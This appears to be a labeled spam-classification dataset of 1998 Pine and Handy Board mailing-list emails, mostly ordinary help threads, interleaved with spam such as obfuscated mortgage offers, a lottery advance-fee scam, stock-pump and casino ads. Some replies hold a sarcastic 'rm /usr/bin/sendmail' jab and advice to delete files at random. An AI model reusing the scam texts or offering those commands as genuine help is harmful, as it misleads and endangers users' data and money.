at other organizations.) Sun Jan 11 03:00:06 PST 1998 ----------------------------------- Pine development and support team University of Washington Computing & Communications ----------------------------------- ",0,1 Moa Kuyper ,handyboard@media.mit.edu,"Sat, 10 Jan 1998 20:23:11 -0700",Re: maoyc news,"Dea r r Home Ow r ne c r , Your c f redi p t doesn't matter to us ! If you OW s N real e u st w at i e and want I b MME w DIA t TE ca h sh to sp u en h d ANY way you like, or simply wish to LO w WER your monthly pa d yme f nts by a third or more, here are the deal t s we have T k ODA p Y : $ 48 l 8 , 000 at a 3 , a 67% fi m xed - rat g e $ 3 t 72 , 000 at a 3 , o 90% v e ariabl j e - ra j te $ 49 l 2 , 000 at a 3 , 2 k 1% in v teres z t - only $ 24 i 8 , 000 at a 3 l , 36% fi h xed - ra k te $ 19 i 8 , 000 at a 3 , 5 g 5% vari i able - ra g te H h urry, when these d i eaIs are gone, they are gone ! Don't worry about app r ro k val, your c z redi x t will not dis a qu g alify you ! V p isi x t our sit t e Sincerely, Moa Kuyper Ap z pr s oval Manager",1,1 Iztok Polanic ,Pine Discussion Forum ,"Sun, 11 Jan 1998 12:28:50 +0100",News!,"Hello !!! I use newsfetch to access my news. It works perfectly with Pine. But when i want to replay to some news, then pine tries to lookup all news on server. Can be this somehow dissabled and be still able sending news??? Bye. xxxxxx ////// xx xx ( o o ) xx xx /------------oOO-----O-----OOo------------\\ xxxx | From: Iztok Polanic | xx xx | E-mail: Iztok.Polanic1@guest.arnes.si | xx xx | WWW: http://www2.arnes.si/~ssdipola | xx xx \\-----------------------------------------/ ",0,1 Yrjo Estes ,mailarch+pine-info@groupms.cac.washington.edu,"Sun, 11 Jan 1998 02:12:56 -0700",Re: lyrel news,"D l ear Home Ow y ne i r , Your cr k ed g it doesn't matter to us ! If you O c WN real e s st f at q e and want I k MME e DIAT g E cas h h to sp c en g d ANY way you like, or simply wish to L d OWER your monthly p f ayme j nts by a third or more, here are the d k eals we have T b OD b AY : $ 48 i 8 , 000 at a 3 g , 67% fi k xed - rat k e $ 3 j 72 , 000 at a 3 , l 90% v x ariab c le - rat l e $ 4 m 92 , 000 at a 3 y , 21% int t ere e st - only $ 24 g 8 , 000 at a 3 , t 36% fi p xed - ra g te $ 19 f 8 , 000 at a 3 , p 55% v d ariable - rat k e Hur c ry, when these dea t Is are gone, they are gone ! Don't worry about ap j prova z l, your c q red r it will not dis q qual o ify you ! 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Raven"" ",Pine Discussion Forum ,"Sun, 11 Jan 1998 10:55:11 -0800",Re: News!,"Go to the main menu screen of Pine, select ""S"" (setup) ""C"" (Configure) and tab down to ""nntp server"" It should be set to which will cause Pine to ignore the existence of a news server. BTW, before doing that, you might also check out Pine's newsgroup feature set. It's nicely integrated with the mail client, and is usually a fast and easy newsreader to use. That however, is just IMHO (In My Humble Opinion) others may have religous fervor concerning the newsreader you should use. At the end of the day, it's what suits *you* best that decides the issue. You can't beat the simplicity of Pine's newsreader though. Good Luck! -Colin > I use newsfetch to access my news. It works perfectly with Pine. But when > i want to replay to some news, then pine tries to lookup all news on > server. Can be this somehow dissabled and be still able sending news???",0,0 Victor ,Rahul ,"Sat, 10 Jan 1998 23:52:04 -1100",isn't it time,"Allen mentioned me that u were seeking for a place to get ur stuff for ur sickness. http://www.whorunoverforitsl.org/tpn/ the place then for sure. language from and creates being all the characters and situations. Twain had ample respect for Victor ",1,1 Felix Karpfen ,Pine Discussion Forum ,"Mon, 12 Jan 1998 07:25:18 +1100",File transfer problem,"This request for help relates not to a problem experienced with the Pine program, but with an associated program which also needs to work in order to use all the features available by the Pine program. I take the liberty to send it to this newsgroup, because the local Service Provider has not been able to help and I do not know where else to send it. The relevant associated program is concerned with transferring files between my `home' directory use by the Pine program and the hard drive of my PC. This program has two available routines - one (sz) for moving files from the Pine `home' directory to my PC and the second (rz) for moving files from my PC to my Pine `home' directory. When either routine is invoked, the routine requests an argument and a file name but from that point the behaviour is different. With the `sz' routine, the name of the file to be transferred to the PC is sufficient for the transfer to occur. However, when the `rz' routine without an argument is invoked and an attempt is made to use the Communication Program's `send routine' (which works smoothly with the local Bulletin Board), the appropriate `send screen' is displayed but no file transfer occurs. From this, I presume that the argument requested by the rz routine is not an optional extra. The attached help screen lists 10 different arguments that can be used with the `rz' routine. However, the screen gives no information about the circumstances in which such use would be appropriate. I am reluctant to take a `trial-and-error' approach in case I louse up my `home' directory. I am therefore trying my luck by sending a request for help to this newsgroup in the hope that someone will either recognise and have an answer to the problem or will be able to tell me where this inquiry should be sent to in order to get an answer. I might add that I have no problems in preparing a text offline, copying the text to the Windows' clipboard and then pasting it into the appropriate area when in Pine's Message Composer. However, if I wanted to send two different Email messages in the same session, then I would be history. Thank you in advance to anyone who responds to this request for help. Felix Karpfen ",0,0 Iztok Polanic ,Pine Discussion Forum ,"Sun, 11 Jan 1998 21:56:14 +0100",Re: News!,"Hello !!! If I do that then i can't post new to usenet!!! What about that :] Bye. On Sun, 11 Jan 1998, Colin J. Raven wrote: > Go to the main menu screen of Pine, select ""S"" (setup) ""C"" (Configure) and > tab down to ""nntp server"" > It should be set to which will cause Pine to ignore the > existence of a news server. > BTW, before doing that, you might also check out Pine's newsgroup feature > set. It's nicely integrated with the mail client, and is usually a fast > and easy newsreader to use. That however, is just IMHO (In My Humble > Opinion) others may have religous fervor concerning the newsreader you > should use. At the end of the day, it's what suits *you* best that decides > the issue. You can't beat the simplicity of Pine's newsreader though. > Good Luck! > -Colin > > > I use newsfetch to access my news. It works perfectly with Pine. But when > > i want to replay to some news, then pine tries to lookup all news on > > server. Can be this somehow dissabled and be still able sending news??? > > > xxxxxx ////// xx xx ( o o ) xx xx /------------oOO-----O-----OOo------------\\ xxxx | From: Iztok Polanic | xx xx | E-mail: Iztok.Polanic1@guest.arnes.si | xx xx | WWW: http://www2.arnes.si/~ssdipola | xx xx \\-----------------------------------------/",0,1 """Robin S. Socha"" ",Pine Discussion Forum ,"Mon, 12 Jan 1998 00:17:13 +0100",Re: News!,">> Iztok Polanic writes: > Hello !!! If I do that then i can't post new to usenet!!! What > about that :] That's pretty cool until you've learnt to crop your quotes. Maybe you'd like to rm /usr/bin/sendmail, too? Robin ""SCNR"" Socha -- Robin S. Socha Political Science Dept., Bonn University If Windows 95 were your car, you'd never get anywhere. You'd be too busy breaking down. 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Kerman"" ",Pine Discussion Forum ,"Sun, 11 Jan 1998 23:27:12 -0600",Re: Research,">From: DRudi9140@aol.com >Date: Sun, 11 Jan 1998 20:35:43 -0500 (EST) >Help!! How do you get to the great places on the net through pine???? We can help. Please post your credit card number, and we'll send you somewhere. But first, we'll just need to check it out to see if it'll meet your needs. ",0,0 Shoeless in San Jose ,Pine Discussion Forum ,"Sun, 11 Jan 1998 21:37:34 -0800",Re: Research,"On Sun, 11 Jan 1998, Adam H. Kerman wrote: > >From: DRudi9140@aol.com > >Date: Sun, 11 Jan 1998 20:35:43 -0500 (EST) > > >Help!! How do you get to the great places on the net through pine???? > > We can help. Please post your credit card number, and we'll send you > somewhere. But first, we'll just need to check it out to see if it'll > meet your needs. Good one...let me know a day in advance so I can get packed! ;) ",0,0 Shafinah Rosauro ,Pine Discussion Forum ,"Sun, 11 Jan 1998 22:22:32 -0800",how do you convert pine addressess to eudora?,"Dear all, I was wondering how I can convert my pine addies to eudora format, as I am cancelling this shell account on the 14th. I saw the message from Svein skjaeveland (Convert Pine Addressbook to Eudora Nicknames (addresses) 1/17/96) but his site at http://www.interguru.com/pineudo.html seems to be down. If any of you could help me out with this asap, it would be much appreciated. Thank you! Shafinah Rosauro please mail to: shafinah@sprynet.com ",0,1 Shafinah Rosauro ,Pine Discussion Forum ,"Sun, 11 Jan 1998 22:34:09 -0800",correction on how do you convert pine addressess to eudora?,"Dear all: well I found the site; "".../pineeudo.html"" was misspelled in mr. skjaeveland's message. If you have a easier way to convert addresses, please tell me!!! hehe thanks again Shafinah@sprynet.com --------------------------addendum to:--------------------------------- Dear all, I was wondering how I can convert my pine addies to eudora format, as I am cancelling this shell account on the 14th. I saw the message from Svein skjaeveland (Convert Pine Addressbook to Eudora Nicknames (addresses) 1/17/96) but his site at http://www.interguru.com/pineudo.html seems to be down. If any of you could help me out with this asap, it would be much appreciated. Thank you! Shafinah Rosauro please mail to: shafinah@sprynet.com ",0,1 Drachen ,Pine Discussion Forum ,"Sun, 11 Jan 1998 22:43:58 -0800",Re: News!,"simply don't use newsfetch. pine can grab news on its own. use the D key to ""delete"" things you read that you don't want to read again (it marks it as read, and does not delete it from the server. it could be clearer about that for newbies, but :) ) just keep it set up as it is, just don't use newsfetch simple as that :) Vinnie On Sun, 11 Jan 1998, Iztok Polanic wrote: > Hello !!! > > If I do that then i can't post new to usenet!!! What about that :] > > Bye. > > On Sun, 11 Jan 1998, Colin J. Raven wrote: > > > Go to the main menu screen of Pine, select ""S"" (setup) ""C"" (Configure) and > > tab down to ""nntp server"" > > It should be set to which will cause Pine to ignore the > > existence of a news server. > > BTW, before doing that, you might also check out Pine's newsgroup feature > > set. It's nicely integrated with the mail client, and is usually a fast > > and easy newsreader to use. That however, is just IMHO (In My Humble > > Opinion) others may have religous fervor concerning the newsreader you > > should use. At the end of the day, it's what suits *you* best that decides > > the issue. You can't beat the simplicity of Pine's newsreader though. > > Good Luck! > > -Colin > > > > > I use newsfetch to access my news. It works perfectly with Pine. But when > > > i want to replay to some news, then pine tries to lookup all news on > > > server. Can be this somehow dissabled and be still able sending news??? > > > > > > > > xxxxxx ////// > xx xx ( o o ) > xx xx /------------oOO-----O-----OOo------------\\ > xxxx | From: Iztok Polanic | > xx xx | E-mail: Iztok.Polanic1@guest.arnes.si | > xx xx | WWW: http://www2.arnes.si/~ssdipola | > xx xx \\-----------------------------------------/ > > >",0,1 Drachen ,Pine Discussion Forum ,"Sun, 11 Jan 1998 22:46:30 -0800",Re: Research,"you don't. use lynx newbies! :) On Sun, 11 Jan 1998 DRudi9140@aol.com wrote: > Help!! How do you get to the great places on the net through pine???? > rudi@nevada.edu > > ",0,0 Latisha Arthur ,handyboard@media.mit.edu,"Sun, 11 Jan 1998 23:46:05 -0540",Re:,"Watch this company closely starting now! De Greko, Inc. (OTC: DGKO) WITHIN 45 DAYS, CLIXME AWARENESS CAMPAIGN TO BEGIN (This was announced Tuesday March 28, 7:45 am ET) The company is currently developing a campaign that will launch nationwide which will highlight the Clixme, ""Click to Call"" platform. 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BROTHER RAFE S DONATO, FSC ""fscbrd@lasalipa@edu.ph"" to seek peace persistenly and courageously"" DE LA SALLE LIPA BATANGAS PHILIPPINES PHONE: 63)43)756-3118(office hours); 63)43)756-1849 Connecting all departments; FAX: (63 43)756-3117;Cellular 0917-5040-531 http://www.lasalipa.edu.ph ",0,1 Noone Special ,Pine Discussion Forum ,"Mon, 12 Jan 1998 08:28:02 -0500",Re: Research,"It has been my experience that only newbies tend to use the word ""newbies"" alot :P~ Pat On Sun, 11 Jan 1998, Drachen wrote: > > you don't. use lynx > newbies! :) > On Sun, 11 Jan 1998 DRudi9140@aol.com wrote: > > > Help!! How do you get to the great places on the net through pine???? > > rudi@nevada.edu ",0,0 Stefano Nardone ,handyboard@media.mit.edu,"Mon, 12 Jan 1998 12:13:36 +0100",Shaft encoder,"I need some docs on interfacing/reading a quadrature shaft encoder to a 68hc11... someone can give me some hint? best regards stefano nardone ****** **** stefanon@promos.it *** tel. +39 81 7142222 | fax +39 81 645130 ** http://www.promos.it - http://www.synapsis.it/uw/stefanon/ *** talk:stefanon@mk3.promos.it **** snail-mail: Promos SIM spa, Via Stazio 5, I-80123 Napoli, Italy ****** ",0,1 신송이 ,handyboard@media.mit.edu,"Mon, 12 Jan 1998 15:59:39 +0900","♠현금 고스톱 [잭팟 : \\80,199,600]","���� : 78,199,600��   ���� : 80,199,600��! �������� ����������! ������ ��������,�������� ������!!   �������� ������ 5,000�� ��������   http://royal-jackpot.com",1,1 Gene Harvey ,Pine Discussion Forum ,"Mon, 12 Jan 1998 09:37:01 -0500",Rerouting Incoming mail to other folders,"Hello: I have an alias e-mail address and would like to automate the moving of incoming e-mail to that alias from the INBOX directly and into a folder with that alias name. Has anyone done something like this? How? Thanks Gene Harvey gharvey@wittenberg.edu ",0,0 Caroline Brossi Yates ,Pine Discussion Forum ,"Mon, 12 Jan 1998 09:45:43 -0500",Re: what,"On Fri, 9 Jan 1998, Mike Brudenell wrote: > The idea was, I think, that comp.mail.pine would be more > newbie-question-ish whilst pine-info focussed more on discussing ways of > improving and devloping Pine. If you want to remove newbie questions from this list, try removing the suggestion on the Pine Web page that people should email their questions to this list. Or at least state your above description on the Pine web page. my ta'pence... -Caroline ",0,0 soz89abk@studserv.uni-leipzig.de,Pine Discussion Forum ,"Mon, 12 Jan 1998 15:51:27 +0100",Bugs,"Since I began using pine I have had a number of problems which I was unable to overcome eventhough I did read your mannual.I have a text in wordperfect 5.1 format more than 700,000 million byte.Question 1)how can I send this text using pine; 2)if this is not possible into what form of data should I convert to send it per pine.I shall be very much glad if you were to promptly respond to my queries. Yours Sinceryl Professor Dr.samuel Tadesse ",0,0 Thomas Hauri ,handyboard@media.mit.edu,"Mon, 12 Jan 1998 13:19:12 +0100",Re: Shaft encoder,"Hi Stefano Nardone wrote: > I need some docs on interfacing/reading a quadrature shaft encoder to a > 68hc11... someone can give me some hint? > You could use spezial interface chips to solve your problem. Hewlett Packard has some chips (HCTL2016, HCTL2020) which are easy to use and offer a lot of features. I have used the HCTL2020 with the handyboard. If you want to interface the shaft encoder without special chip you need to measure the pulsewidth of the signal from the encoder aswell as a direction bit which you can generate with a simple and-gate. I have written a couple of programs (asm) to measure frequencies and pulsewidth with the Input Counter of the hc11. Tell if you need them. bye Tom ",0,0 Norbert Koch ,Pine Discussion Forum ,"Mon, 12 Jan 1998 16:39:03 +0100",Re: Bugs,">>>On Mon, 12 Jan 1998 15:51:27 +0100 (MEZ), soz89abk@studserv.uni-leipzig.de said: Hi, s> Since I began using pine I have had a number of problems which I s> was unable to overcome eventhough I did read your mannual.I have a s> text in wordperfect 5.1 format more than 700,000 million s> byte.Question 1)how can I send this text using pine; 2)if this is s> not possible into what form of data should I convert to send it s> per pine.I shall be very much glad if you were to promptly respond s> to my queries. (1) is it possible that you mixed up some numbers? You are talking about sending a file of 700 GB ... quite a story. (2) if you've tried send a mail with your document inserted into it, the sendmail agent fails (I hope, I haven't mixed up things here). So, here we go ... provided, the file is less than, let's say, 2 MB which I regard of as a reasonable size to send via email (use ftp in other cases or split the file), try to attach the file, that is Ctrl-J while you are in the header region. This converts the binary data into ASCII and sendmail (or whatever) won't complain about it. hth, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing! ",0,0 Caroline Brossi Yates ,Pine Discussion Forum ,"Mon, 12 Jan 1998 10:40:49 -0500",weirdness,"This is a followup to a pine weirdness I experienced recently in case anyone else runs into something similar. Pine was behaving truly sluggish at times when the user tried to save a file (it took about 30 seconds and there was no network/nfs server/imap server bogging), and I believe it was due to a large time skew between the imap server and the nfs server. (The nfs server being a Netapp Toaster whose clock battery is evidently suffering). I'm always amazed how simple some solutions turn out to be. Perhaps there is a correlation between effort and simplicity... Cheers, -Caroline unix weeny ",0,0 Mike Mahaffy ,Pine Discussion Forum ,"Mon, 12 Jan 1998 07:47:14 -0800",Re: irrelevant posts & consider this...,"Hello all, Here's a thought. How about just sending a message that reflects the following sentiment. ""Wrong type of question for this forum."" When the individual gets so 'MANY' responses back from the entire (lots anyway) pine group they will have figured out that 'hey, maybe this is the wrong group to ask'. This might be preferred instead of other options (no names) that have been used in the past to try to turn people away. All that does is - well - nothing. OK it might be frustrating at first but you are reading your mail anyway, aren't you??? Like this one for example... ...and as mentioned before, who has the time or really wants to moderate a list for a large group like this? Mike........... ",0,0 Drachen ,Pine Discussion Forum ,"Mon, 12 Jan 1998 08:07:33 -0800",Re: Research," Or people who worked ISP tech support wa-a-a-a-a-a-ay too long :P On Mon, 12 Jan 1998, Noone Special wrote: > It has been my experience that only newbies tend to use the word ""newbies"" > alot :P~ > > Pat > > On Sun, 11 Jan 1998, Drachen wrote: > > > > you don't. use lynx > > newbies! :) > > > On Sun, 11 Jan 1998 DRudi9140@aol.com wrote: > > > > > Help!! How do you get to the great places on the net through pine???? > > > rudi@nevada.edu > > > ",0,0 Scott Brennan ,handyboard@media.mit.edu,"Mon, 12 Jan 1998 08:42:43 -0500",Motor Outputs,"I built an H-Bridge over the weekend to replace the chips on the Handyboard and I was wondering what pins on the motor control sockets I need to connect the new circuit to? My circuit has a Forward input and a Reverse input. I did notice from the schematic that there was an (in1) and an (in2) (pins 2 and 7), but haven't had much luck with these. Thanks for any help anyone can provide! -Scott ",0,0 Threadgill Adriel ,handyboard@media.mit.edu,"Mon, 12 Jan 1998 05:01:05 -0500",are you lean,"may diversion try apprentice it's antiquarian the slept it's cowhide ",1,0 soz89abk@studserv.uni-leipzig.de,Pine Discussion Forum ,"Mon, 12 Jan 1998 18:29:38 +0100",Further Question," Suppose the datas are in the directory path user\\diss and I had liked to upload the datas so that it can be e-mailed using the pine command,what are the instructions that I should follow? Yours Sincerly Professor Dr.Samuel Tadesse ",0,0 Don Allaire ,Pine Discussion Forum ,"Mon, 12 Jan 1998 12:31:35 -0600",Hiding Main Menu Options from Pine users...,"Hello: I admin a site which runs version 3.96. Is there a command line option or compile time option that would allow me to hide some of the main menu options, such as Setup and folder index? I have checked through the man pages, and checked through the configuration files without success. Thanks in advance. don. ",0,0 Drachen ,Pine Discussion Forum ,"Mon, 12 Jan 1998 11:05:41 -0800",Re: Rerouting Incoming mail to other folders,"sounds like a job for procmail :) try http://www.ii.com/internet/faqs/launchers/mail/filtering-faq/ On Mon, 12 Jan 1998, Gene Harvey wrote: > Hello: > > I have an alias e-mail address and would like to automate the moving of > incoming e-mail to that alias from the INBOX directly and into a folder > with that alias name. Has anyone done something like this? How? > > Thanks > Gene Harvey > gharvey@wittenberg.edu > > ",0,1 Iztok Polanic ,Pine Discussion Forum ,"Mon, 12 Jan 1998 20:18:27 +0100",Problem!,"Hello !!! I recenty got this in my PINE window! init: could not get current directory: getwd: cannot access parent directories What's wrong? Bye. xxxxxx ////// xx xx ( o o ) xx xx /------------oOO-----O-----OOo------------\\ xxxx | From: Iztok Polanic | xx xx | E-mail: Iztok.Polanic1@guest.arnes.si | xx xx | WWW: http://www2.arnes.si/~ssdipola | xx xx \\-----------------------------------------/ ",0,1 Jim Cooprider ,Pine Discussion Forum ,"Mon, 12 Jan 1998 13:49:20 -0600",x-uuencode help!,"I recieved e-mail with attachment and needs to be decoded by x-uuencode. I have a macintosh and am on netscape 4.0 . Can you help me out. Jim Cooprider - Oklahoma City e-mail: buttons@oklahoma.net ",0,0 """Adam H. Kerman"" ",Pine Discussion Forum ,"Mon, 12 Jan 1998 14:05:34 -0600",Re: Hiding Main Menu Options from Pine users...,">From: Don Allaire >Date: Mon, 12 Jan 1998 12:31:35 -0600 >I admin a site which runs version 3.96. Is there a command line option or >compile time option that would allow me to hide some of the main menu >options, such as Setup and folder index? I have checked through the man >pages, and checked through the configuration files without success. Check through the file called tech-notes.txt. You can fix configuration options that users cannot override. There's no need to hide Setup from users; numerous user-configurable options have no security implications. Why prevent users from changing those? What possible reason could you have for hiding the message index? How do you expect users to get conveniently from one to the next? You had better explain in greater detail about what you want to do.",0,0 Verney Unruh ,Pine Discussion Forum ,"Mon, 12 Jan 1998 14:41:35 -0600",printer," I have been using Pine 3.95 for sometime but have never been able to get it to print for me from the Y command. I have an Epson LQ 850 printer and am able to print from the ""print scrn"" key. I have read and re-read your ""help"" message and have tried different settings but to no avail. What suggestions to do you have? Verney Unruh ",0,0 UGPUG1 ,Pine Discussion Forum ,"Mon, 12 Jan 1998 15:36:46 -0500",require more info,"I have and e-mail account through pine, but I would like to access campus info at home, but I don't know how ",0,0 Luis Miguel Salinas ,Pine Discussion Forum ,"Mon, 12 Jan 1998 15:51:03 -0800",Pine for SGI 6.2,"PLEASE I WANT TO BUILD THE LASTEST RELEASE OF PINE FOR AN SGI, RUNNING IRIX 6.2. PLEASE. Advice & suggestions appreciated AND THE OPTIONS IN THE BUILD SCRIPT. THANK YOU LUIS MIGUEL. ",0,0 Drachen ,Pine Discussion Forum ,"Mon, 12 Jan 1998 14:34:20 -0800",Re: require more info,"most likely you would want to find out the name of your campus mail server and set up pine on your home PC with the proper information. On Mon, 12 Jan 1998, UGPUG1 wrote: > I have and e-mail account through pine, but I would like to access campus info > at home, but I don't know how > > ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Mon, 12 Jan 1998 18:27:46 +0100",Re: Research,">>>> On Sun, 11 Jan 1998 DRudi9140@aol.com wrote: >>> Drachen writes: >> On Sun, 11 Jan 1998, Drachen wrote: > On Mon, 12 Jan 1998, Noone Special wrote: >>>> Help!! How do you get to the great places on the net through >>>> pine???? >>> you don't. use lynx newbies! :) >> It has been my experience that only newbies tend to use the word >> ""newbies"" alot :P~ > Or people who worked ISP tech support wa-a-a-a-a-a-ay too long :P Sure, but those know how to quote properly. LaMEr ]:-> Cheers, Robin -- Robin S. Socha Political Science Dept., Bonn University main(){printf(&unix[""\\021%six\\012\\0""],(unix)[""have""]+""fun""-0x60);}",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Mon, 12 Jan 1998 18:31:05 +0100",Re: unclear message,"> Brother Rafe S Donato FSC writes: > I keep getting message that my file is full. I am sure it is not > and just to make sure, I deleted a lot of message in my IN box. Yo, brother, chant a couple of ""man quota""s - that'll help. What's happening is that that you local system administrator has assigned you a limited amount of diskspace which you've exceeded. That need not necessarily be mail, it can be all sorts of files. Do the following: du ~/ | sort -n | less and see where the big files are. You quit less by saying ""q"". Delete those files at random. Cheers, Robin -- Robin S. Socha Political Science Dept., Bonn University Vidi, vici, veni",0,0 Drachen ,Pine Discussion Forum ,"Mon, 12 Jan 1998 14:47:01 -0800",Re: Research,"On 12 Jan 1998, Robin S. Socha wrote: > Sure, but those know how to quote properly. LaMEr ]:-> or are simply too lazy too unless goaded into it :) it's been one of those where are the netscape /facks/ (no they don't mean faqs) days :) Vinnie ",0,0 AUSTRALIA UNION LOTTERIES ,mailarch+pine-info@groupms.cac.washington.edu,"Mon, 12 Jan 1998 22:06:05 +0600",CONTACT THE PAYING BANK," Australia Union Lotteries, 23 Rundle Mall, Adelaide, Australia.[An affiliate of Overseas Subscriber Agents.] Arena Complex 14 Donegall Square West, United Kingdom. From:Mrs. Marylyn Nadal Sir/Madam, CONGRATULATIONS!!! We are pleased to inform you the result of this year draw of Australia Union Lotteries Winners International programs held on the 19th April, 2006 .Your e-mail address attached to ticket #: 00903228100 with prize # 778009/2 drew �2,000,000.00 which was first in the 2nd class category of the draws. You are to receive the sum of �2,000,000.00 (Two Million Euros). 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Socha"" ",Pine Discussion Forum ,"Tue, 13 Jan 1998 00:50:24 +0100",Re: Problem!," On Mon, 12 Jan 1998, Iztok Polanic wrote: > Hello !!! > I recenty got this in my PINE window! > init: could not get current directory: getwd: cannot access > parent directories > What's wrong? You deleted the dir you were in. Your signature is too long. Robin BTW, you know that you're fscked when you get this: tail: /var/log/messages: I/O error Guys, I think you won't be seeing me for a couple of days... F***! ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Tue, 13 Jan 1998 00:52:42 +0100",Re: require more info,"On Mon, Jan 12, 1998 at 03:36:46PM -0400, UGPUG1 wrote: > I have and e-mail account through pine, but I would like to access campus info > at home, but I don't know how Talk to your local help desk. You need a connection. *They* have the necessary hard- and software. Robin ",0,0 """Robin S. Socha"" ",Pine Discussion Forum ,"Tue, 13 Jan 1998 00:53:51 +0100",Re: x-uuencode help!,"On Mon, Jan 12, 1998 at 01:49:20PM -0600, Jim Cooprider wrote: > I recieved e-mail with attachment and needs to be decoded by x-uuencode. I > have a macintosh and am on netscape 4.0 . Can you help me out. No. This is a list for the discussion of problems related to the pine MUA. Go to and pick up the necessary software there. Robin",0,1 Elmer ,"mailarch+pine-info@groupms.cac.washington.edu, virgie@groupms.cac.washington.edu, johnnie@groupms.cac.washington.edu, shane@groupms.cac.washington.edu, charity@groupms.cac.washington.edu","Mon, 12 Jan 1998 09:59:37 -0800",We have undertook....,"F A S T T R A C K D E G R E E P R O G R A M Obtain the degree you deserve, based on your present knowledge and life experience. A prosperous future, money earning power, and the Admiration of all. Deg rees from an Established, Pres tigious, Leading Institution. Your Degree will show exactly what you really can do. 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IMHO *that* is the issue, and where we're heading by trying to figure out if there should be two lists, one for newcomers (er inexperienced NEWcomers) and one for the folks who realize fully what the heck the list is for, and who post on (or close to) topic. A Regarding moderating the list...well for starters, a few boilerplate email text files would certainly reduce the workload considerably. Time to accomplish this? I dunno...anyone have any estimates on this?? Oh well...back to the iron foundry -Colin >Hello all, > >Here's a thought. How about just sending a message that reflects the >following sentiment. > >""Wrong type of question for this forum."" > >When the individual gets so 'MANY' responses back from the entire (lots >anyway) pine group they will have figured out that 'hey, maybe this is >the wrong group to ask'. This might be preferred instead of other >options (no names) that have been used in the past to try to turn people >away. All that does is - well - nothing. > >OK it might be frustrating at first but you are reading your mail >anyway, aren't you??? Like this one for example... > >...and as mentioned before, who has the time or really wants to moderate >a list for a large group like this? > >Mike........... > ",0,0 """Colin J. Raven"" ",Pine Discussion Forum ,"Mon, 12 Jan 1998 19:27:56 -0000",Re: Moderating Newbie List,"Yup...'xactly, that's what I had in mind...just that. > >I'm still in favor of moderating nonsubscribers and new subscribers, but just >till they ask a question related to pine. > > ",0,0 Norbert Koch ,Pine Discussion Forum ,"Tue, 13 Jan 1998 07:25:25 +0100",Re: Further Question,">>>On Mon, 12 Jan 1998 18:29:38 +0100 (MEZ), soz89abk@studserv.uni-Leipzig.de said: Good Morning Leipzig ... s> Suppose the datas are in the directory path user\\diss and I had s> liked to upload the datas so that it can be e-mailed using the s> pine command,what are the instructions that I should follow? well maybe I'm dumb and I don't really get what you are heading for, but as I can see the famous combination of keystrokes should be c -> compose message Then, while in the header region ctrl-j -> attach file(s) ctrl-t -> to files This last command opens a file selector. Since I suppose you are on a Windows Machine (who else would use a backslash to separate directories?) you'll see one of the famous explorer pop-ups which you can use to move around (maybe to user/diss) and get the file you intend to attach. You might even be lucky that you'll (a) get those keystrokes above via mouse (don't know, don't care) (b) get the desired result (c) not get shot for disregarding pine's online help ... l8er, norbert. -- Norbert Koch a rattlesnake that doesn't bite teaches you nothing! ",0,0 Joshua Heling ,handyboard@media.mit.edu,"Tue, 13 Jan 1998 01:23:12 -0600",questions re: unix version of IC,"Hi - I'm a handy-board/ic newbie, so please excuse this question if it's answers seem obvious. After two weeks of writing code in DOS/Windows (yuck), I downloaded the ic-2.860beta source code, which compiled without significant trouble in linux (redhat 5). The version is, of course, a bit different from that which came with the handy-board (from Gleason Rsch, was version 2.851). My question is, can I just copy the library files that came from Gleason Rsch. into the lib directory on the unix ic installation (it seems that I can, I just want to be sure)? Are there any other issues I should be aware of (w.r.t. the beta, or using ic from unix, end-of-line conventions on library files, etc.). I'm not particularly concerned with being able to download the pcode in unix - I do have DOS easily available... BTW, thanks to all that have contributed to this really neat project - this is my first exposure to robotics, and it's been great fun so far. - Joshua -------- Joshua Heling jrh@securepipe.com SecurePipe Communications, Inc. ",0,0 Marsha Gonzales ,mailarch+pine-info@groupms.cac.washington.edu,"Tue, 13 Jan 1998 03:44:43 -0200",�λ����� ���� ���鶧 ������ �ǵ帮�ڽ��ϴ�.,"He called her Ernestine (or was it Ernestine?).Sometimes recliner near chess board strokes, but deficit of always recognize from bicep!When anomaly behind bottle of beer ceases to exist, recliner for ruminates.When jersey cow for judge panics, stovepipe over self-flagellates. ",1,0 Plastic Division Graf3 srl ,Pine Discussion Forum ,"Tue, 13 Jan 1998 17:56:39 +0100",Looking for BINHEX CONVERTER 4.0,"Hello we've read your message and it seems that we have the same problem of yours! If you have already any solution / or if you have found out where to get the ""binhex converter 4.0"" we would appreciate that you send it to us, or just give us the address where to find it ! Thank you Please reply to e-mail: pdgraf@tin.it",0,0 """Fred G. Martin"" ",Joshua Heling ,"Tue, 13 Jan 1998 09:10:37 -0500",Re: questions re: unix version of IC ,"Joshua - There should be no problems using the Gleason Research libraries (or any of the libraries that are on the web site). There are no differences between version 2.851 and 2.860 from the point of view of the libraries. There is a pre-compiled version for Linux. See ftp://cher.media.mit.edu/pub/projects/interactive-c/unix/ Fred In your message you said: > Hi - > > I'm a handy-board/ic newbie, so please excuse this question if it's answers > seem obvious. After two weeks of writing code in DOS/Windows (yuck), I > downloaded the ic-2.860beta source code, which compiled without significant > trouble in linux (redhat 5). The version is, of course, a bit different from > that which came with the handy-board (from Gleason Rsch, was version 2.851). > > My question is, can I just copy the library files that came from Gleason Rsch . > into the lib directory on the unix ic installation (it seems that I can, I > just want to be sure)? Are there any other issues I should be aware of > (w.r.t. the beta, or using ic from unix, end-of-line conventions on library > files, etc.). I'm not particularly concerned with being able to download the > pcode in unix - I do have DOS easily available... > > BTW, thanks to all that have contributed to this really neat project - this i s > my first exposure to robotics, and it's been great fun so far. > > > - Joshua > > -------- > Joshua Heling jrh@securepipe.com > SecurePipe Communications, Inc. > > > ",0,0 Greg Story ,Pine Discussion Forum ,"Tue, 13 Jan 1998 11:55:45 -0800",ms-tnef,"Is there a plug-in or helper application for NETSCAPE that will translate ms-tnef attachments? If so, please email to STORY@health-chelan-douglas.wa.gov Thanks. Greg Story Chelan-Douglas Health District Wenatchee, Washington ",0,0 Ethel Blanco ,mailarch+pine-info@groupms.cac.washington.edu,"Tue, 13 Jan 1998 10:45:27 -0300","loads of players online, win big","Hey, so glad to finally get hold of you, Log on to Hi Roller Casino and get $888 FREE Feel like getting rich in the comfort of your own home? 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Socha"" ",Pine Discussion Forum ,"Tue, 13 Jan 1998 22:38:12 +0100",Re: Looking for BINHEX CONVERTER 4.0,"On Tue, 13 Jan 1998, Plastic 